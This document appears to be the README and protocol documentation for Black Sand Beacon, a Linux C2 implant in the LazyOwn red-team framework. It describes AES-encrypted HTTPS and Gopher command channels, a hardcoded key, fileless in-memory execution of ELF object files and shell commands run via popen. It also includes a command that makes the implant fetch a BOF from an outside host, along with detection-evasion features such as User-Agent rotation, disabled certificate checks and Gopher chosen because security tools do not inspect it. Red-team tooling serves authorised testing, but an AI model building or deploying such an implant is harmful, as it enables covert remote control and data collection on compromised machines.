Black Sand Beacon — a lightweight, memory-resident micro beacon or implant for the LazyOwn RedTeam Framework — is the first offensive platform to deliver true native BOF (Beacon Object File) support for Linux. Inspired by the Windows-based Black Basalt Beacon, it enables red teams to write position-independent, fileless post-exploitation modules in pure C—no assembly required. Unlike traditional Linux payloads that rely on shellcode, interpreted scripts, or full binary deployment, Black Sand executes relocatable ELF objects directly in memory, resolving symbols and applying relocations on-the-fly. This breakthrough brings the agility, safety, and developer experience of Cobalt Strike–style BOFs to Linux for the very first time.
- Command execution
- Bof Execution
- issue_command_to_c2 linux bof:https://10.10.14.57/whoami.x64.o
Background: After implementing COFFLoader3 (Windows COFF with DJB2 hashing) and BlackBasalt C2, this represents the first fully native C implementation of a Cobalt Strike-style beacon for Linux with complete ELF BOF support.
- ✅ Native C (no Go/Rust runtime)
- ✅ Full ELF relocation support (R_X86_64_64/32/PC32/PLT32)
- ✅ Automatic trampoline generation for long jumps
- ✅ System V ABI compliant (variadic function support)
- ✅ Beacon API compatible (BeaconPrintf, BeaconOutput)
- ✅ AES-256-CFB encrypted C2 communication
- Trampoline Cache System: Solves Linux address space challenges
- Stack Alignment: Proper handling of movaps/variadic functions
- Symbol Resolution: Dynamic symbol table with fallback
- Inspired by TrustedSec's COFFLoader (Windows)
- Built upon experience with COFFLoader3 and BlackBasalt beacon
| Feature | This Project | Sliver | Mythic | CrossC2 |
|---|---|---|---|---|
| Language | C (native) | Go | Rust | Closed |
| Open Source | ✅ | ✅ | ✅ | ❌ |
| Standalone | ✅ | ✅ | ✅ | Needs CS |
Black Sand Beacon is a modular C2 agent with a layered architecture consisting of:
- Beacon Core: Main orchestrator implementing the command polling loop
- Cryptography Layer: Dual encryption (TLS + AES-256 CFB) with Base64 encoding
- Execution Engines: Shell command executor and in-memory ELF loader for BOFs
- Data Processing: JSON serialization using cJSON library
- Network Layer: HTTPS communication via libcurl with malleable C2 profiles
The main execution loop resides in main() at beacon3.c 637-808 The beacon operates in a continuous 6-second polling cycle:
beacon3.c 638-648 :
Constructs C2 URL using C2_URL, MALEABLE, and CLIENT_ID constants Initializes random seed for User-Agent rotation Command Retrieval beacon3.c 650-693 :
Base64 decodes response Extracts IV from first 16 bytes AES-256 CFB decrypts command payload Command Execution beacon3.c 695-716 :
BOF commands: Download ELF via download_bof(), execute via RunELF() Result Transmission beacon3.c 726-796 :
AES-256 CFB encrypts with random IV Base64 encodes payload POSTs to C2 server
URL construction uses configurable components beacon3.c 32-34 :
- C2_URL: Base server address
- MALEABLE: URI path pattern (/pleasesubscribe/v1/users/)
- CLIENT_ID: Beacon identifier (linux)
This document describes the HTTPS-based command and control communication protocol used by the Black Sand Beacon to communicate with the LazyOwn RedTeam Framework C2 server. It covers the transport layer, encryption mechanisms, message encoding, request/response patterns, and malleable C2 profile configuration.
For information about command execution after receiving C2 instructions, see Command Execution. For details on the cryptographic implementations, see Encryption Protocol.
The Black Sand Beacon implements a pull-based C2 protocol over HTTPS with dual-layer encryption. The beacon continuously polls the C2 server at regular intervals to retrieve commands, executes them, and transmits results back to the server. All communications use TLS for transport security plus an additional application-level AES-256 CFB encryption layer.
The beacon uses libcurl for all HTTP/HTTPS communications. The https_request function handles both command retrieval (GET) and result transmission (POST).
CURL Configuration Details:
The https_request function beacon3.c 154-240 configures the following critical options:
beacon3.c 175-176 : Both CURLOPT_SSL_VERIFYPEER and CURLOPT_SSL_VERIFYHOST are set to 0L to allow connections to C2 servers with self-signed certificates Timeout Settings beacon3.c 177-178 : 10-second overall timeout, 5-second connection timeout User-Agent Randomization beacon3.c 174 : Randomly selects from USER_AGENTS array to vary traffic fingerprint Memory Callback beacon3.c 180-181 : Uses WriteMemoryCallback to accumulate response data in a dynamically allocated buffer Sources: beacon3.c 154-240
beacon3.c 136-151
The beacon constructs C2 URLs using configurable components to enable traffic blending:
Malleable C2 Configuration:
Constant Default Value Purpose Location C2_URL "https://10.10.14.57:4444" Base C2 server address beacon3.c 32 MALEABLE "/pleasesubscribe/v1/users/" URI path for traffic blending beacon3.c 34 CLIENT_ID "linux" Client identifier beacon3.c 33 The full URL is constructed at initialization: full_url = C2_URL + MALEABLE + CLIENT_ID beacon3.c 646-647
The beacon randomly selects from 4 User-Agent strings beacon3.c 37-42 on each request beacon3.c 174 :
- Chrome on Linux x86_64
- Firefox on Ubuntu
- Chrome on Android mobile
- Chrome on Windows 10 Sources: beacon3.c 32-42
beacon3.c 646-647
beacon3.c 174
AES-256 CFB Implementation The beacon implements a custom AES-256 Cipher Feedback (CFB) mode for application-level encryption. This provides an additional security layer beyond TLS, protecting payloads even if TLS is compromised.
CFB Mode Implementation Details:
Both aes256_cfb_encrypt beacon3.c 283-309 and aes256_cfb_decrypt beacon3.c 311-338 follow the CFB algorithm:
beacon3.c 285-289
beacon3.c 313-317 : Initialize AES context with 256-bit key, copy IV to working buffer Block Processing beacon3.c 291-306
beacon3.c 319-334 : Encrypt IV buffer using AES-ECB: AES_ECB_encrypt(&ctx, encrypted_iv) beacon3.c 294
beacon3.c 322 XOR result with plaintext/ciphertext block beacon3.c 296-298
beacon3.c 324-326 Update IV buffer with output ciphertext beacon3.c 300-304
beacon3.c 328-332 Output beacon3.c 307-308
beacon3.c 335-337 : Return encrypted/decrypted buffer Sources: beacon3.c 283-338
aes.c 239-242
aes.c 490-494
The AES-256 key is hardcoded in the beacon binary as a hexadecimal string and converted to binary at runtime:
// Key initialization in main() const char* KEY_HEX = "88a41baa358a779c346d3ea784bc03f50900141bb58435f4c50864c82ff624ff"; unsigned char AES_KEY[32]; for (int i = 0; i < 32; i++) { sscanf(KEY_HEX + i * 2, "%2hhx", &AES_KEY[i]); }
Outbound Messages: Random 16-byte IV generated using OpenSSL's RAND_bytes(iv_out, 16) beacon3.c 763 Inbound Messages: IV extracted from first 16 bytes of encrypted payload beacon3.c 675-676 Sources: beacon3.c 640-644
beacon3.c 763
beacon3.c 675-676
Message Format Inbound Message Structure (Commands) Commands received from the C2 server follow this structure:
Receive beacon3.c 656 : GET request to full_url returns Base64-encoded payload Decode beacon3.c 667 : base64_decode(b64_resp, &enc_len) → encrypted bytes Extract IV beacon3.c 675-676 : First 16 bytes are the IV, remainder is ciphertext Decrypt beacon3.c 678 : aes256_cfb_decrypt(AES_KEY, iv, ciphertext, enc_len - 16, &plain_len) → plaintext command Command Types:
bof: Download and execute BOF from URL beacon3.c 698-712 Any other string Execute as shell command via popen() beacon3.c 714 Sources: beacon3.c 656-693
beacon3.c 698-716
beacon3.c 243-280
beacon3.c 311-338
Results transmitted to the C2 server are JSON objects encrypted and encoded:
JSON Structure:
The beacon constructs a JSON object using the cJSON library beacon3.c 734-744 :
{
"output": "<command/BOF output>",
"client": "linux",
"command": "<executed command>",
"pid": 1234,
"hostname": "<system hostname>",
"ips": "<comma-separated local IPs>",
"user": "<username>",
"discovered_ips": "",
"result_portscan": null,
"result_pwd": "<current working directory>"
}
Serialize beacon3.c 746 : cJSON_PrintUnformatted(root) → JSON string Generate IV beacon3.c 763 : RAND_bytes(iv_out, 16) → random IV Encrypt beacon3.c 765 : aes256_cfb_encrypt(AES_KEY, iv_out, json_str, strlen(json_str), &encrypted_len) → ciphertext Concatenate beacon3.c 768-770 : IV || Ciphertext → combined buffer Encode beacon3.c 771 : base64_encode(full_enc, 16 + encrypted_len) → Base64 string Transmit beacon3.c 777 : https_request(full_url, "POST", b64_resp) → send to C2 Sources: beacon3.c 726-796
beacon3.c 243-258
beacon3.c 283-309
Main Communication Loop The beacon operates in a continuous polling loop with a fixed interval:
A Beacon Object File (BOF) is a compiled ELF relocatable object file (.o) that contains custom functionality to be executed by the beacon. BOFs enable modular capability extension without modifying the core beacon executable.
The RunELF function at beacon3.c 361-532 implements a complete in-memory ELF loader that parses relocatable object files and prepares them for execution.
BOFs reference external functions (libc, beacon API) that must be resolved at load time. The beacon maintains a symbol resolver table that maps symbol names to function pointers.
The g_external_symbols[] array at beacon3.c 76-90 defines all externally visible symbols:
- printf g_printf_ptr Standard output (debugging)
- strlen g_strlen_ptr String length calculation
- memcpy g_memcpy_ptr Memory copy operations
- memset g_memset_ptr Memory initialization
- BeaconPrintf g_BeaconPrintf_ptr Formatted output to beacon
- BeaconOutput g_BeaconOutput_ptr Raw output to beacon
- dlsym g_dlsym_ptr Dynamic symbol lookup
- dlopen g_dlopen_ptr Dynamic library loading
Sources: beacon3.c 461-470
beacon3.c 461-470 first checks if a symbol is defined within the BOF itself (local symbol), then falls back to the external symbol table. Unresolved symbols are logged but do not halt execution.
After loading sections into memory, the loader must patch code and data references to point to their actual runtime addresses. This is accomplished by processing SHT_RELA sections.
Type Value Description Implementation
- R_X86_64_64 1 64-bit absolute address *loc = symbol_addr + addend
- R_X86_64_PC32 2 32-bit PC-relative offset *loc = symbol_addr + addend - loc
- R_X86_64_PLT32 4 32-bit PLT-relative offset Same as PC32
- R_X86_64_32 10 32-bit absolute address *loc = (uint32_t)(symbol_addr + addend)
Once the ELF is loaded and relocated, the beacon locates the go function and executes it in an isolated stack frame.
The loader searches the symbol table for a function named go:
The ELF loader is implemented in the RunELF function, which performs the following operations:
- ELF validation - Verifies ELF magic bytes and architecture
- Section parsing - Locates symbol tables, string tables, and loadable sections
- Memory mapping - Allocates RWX memory regions for code and data sections
- Symbol resolution - Resolves external symbols using dlsym and a predefined symbol table
- Relocation processing - Applies ELF relocations to resolve references
- Function lookup - Locates the entry point function by name
- Execution - Invokes the BOF using a stack-aligned assembly wrapper
Black Sand Beacon now includes full support for the Gopher protocol as a command and control (C2) channel. The Gopher protocol (RFC 1436) is a lightweight, simple communication protocol designed in the early 1990s that offers unique advantages for modern offensive operations.
Evasion: Extremely rare protocol in modern networks, making detection by traditional IDS/IPS systems difficult
Simplicity: Minimalist protocol that generates less network noise than HTTP/HTTPS
Low profile: Most security tools do not inspect Gopher traffic
Flexible: Supports transmission of text, binaries, and encrypted commands
Legacy advantage: Many firewalls and monitoring solutions lack proper Gopher protocol inspection
✅ AES-256-CFB encryption for all communications
✅ Base64-encoded command and result transmission
✅ Support for remote BOF (Beacon Object Files) downloads
✅ Automatic logging in CSV format
✅ Multi-client session management
✅ Customizable port (default 7070, standard 70)
✅ Simple selector-based routing
Requirements
pip3 install cryptographyc2_gopher/
├── c2_gopher.py # Main C2 server
├── beacon_gopher # Compiled beacon binary
├── sessions/
│ ├── logs/ # Client session logs (CSV)
│ └── uploads/ # BOF files for download
- Generate AES Key
python3 -c "import os; print(os.urandom(32).hex())"Update the AES_KEY variable in both c2_gopher.py and recompile beacon_gopher with the new key.
- Start the C2 Server
python3 c2_gopher.pyThe server will listen on gopher://0.0.0.0:7070/ by default.
- Deploy the Beacon
./beacon_gopherThe beacon will start checking for commands from the C2 server.
- Issue Commands In the C2 server terminal, you'll be prompted to enter commands:
Client ID: linux
Command: whoami
[+] Command 'whoami' queued for linux
Command Retrieval (Beacon → C2) Beacon connects to C2 on port 7070
Sends selector: /pleasesubscribe/v1/users/<client_id>
C2 responds with AES-encrypted command (Base64)
Beacon decrypts and executes command
Result Submission (Beacon → C2) Beacon encrypts execution result with AES
Encodes as Base64
Sends selector: /report/<base64_payload>
C2 decrypts, parses JSON, and logs to CSV
BOF Download (Beacon → C2) Beacon requests: /bof/
C2 responds with Base64-encoded BOF
Beacon decodes and executes in memory
- 📓 Wiki: https://deepwiki.com/grisuno/blacksandbeacon
- 📰 Blog: https://medium.com/@lazyown.redteam/black-sand-beacon-when-your-linux-box-starts-whispering-to-c2-in-aes-256-cfb-and-no-one-notices-105ca5ed9547
- 🎤 Podcast: https://www.podbean.com/eas/pb-qe42t-198ee9d
- 🐙 GitHub: https://github.com/grisuno/beacon
- 🐙 GitHub: https://github.com/grisuno/LazyOwn
- 🩸 Patreon: https://www.patreon.com/c/LazyOwn
- 🐙 GitHub: https://github.com/grisuno/CVE-2022-22077
- 🧠 LazyOwn Framework: https://github.com/grisuno/LazyOwn
- 🌐 Web: https://grisuno.github.io/LazyOwn/
- 📰 Blog: https://medium.com/@lazyown.redteam
- 🎥 Videolog: https://youtu.be/spgLpv3XkiA
- 🧪 QuantumVault: https://quantumvault.pro/landing
- 🧑💻 HTB: https://app.hackthebox.com/users/1998024
- ☕ Ko-fi: https://ko-fi.com/grisuno (Buy me a yerba mate for the next all-nighter)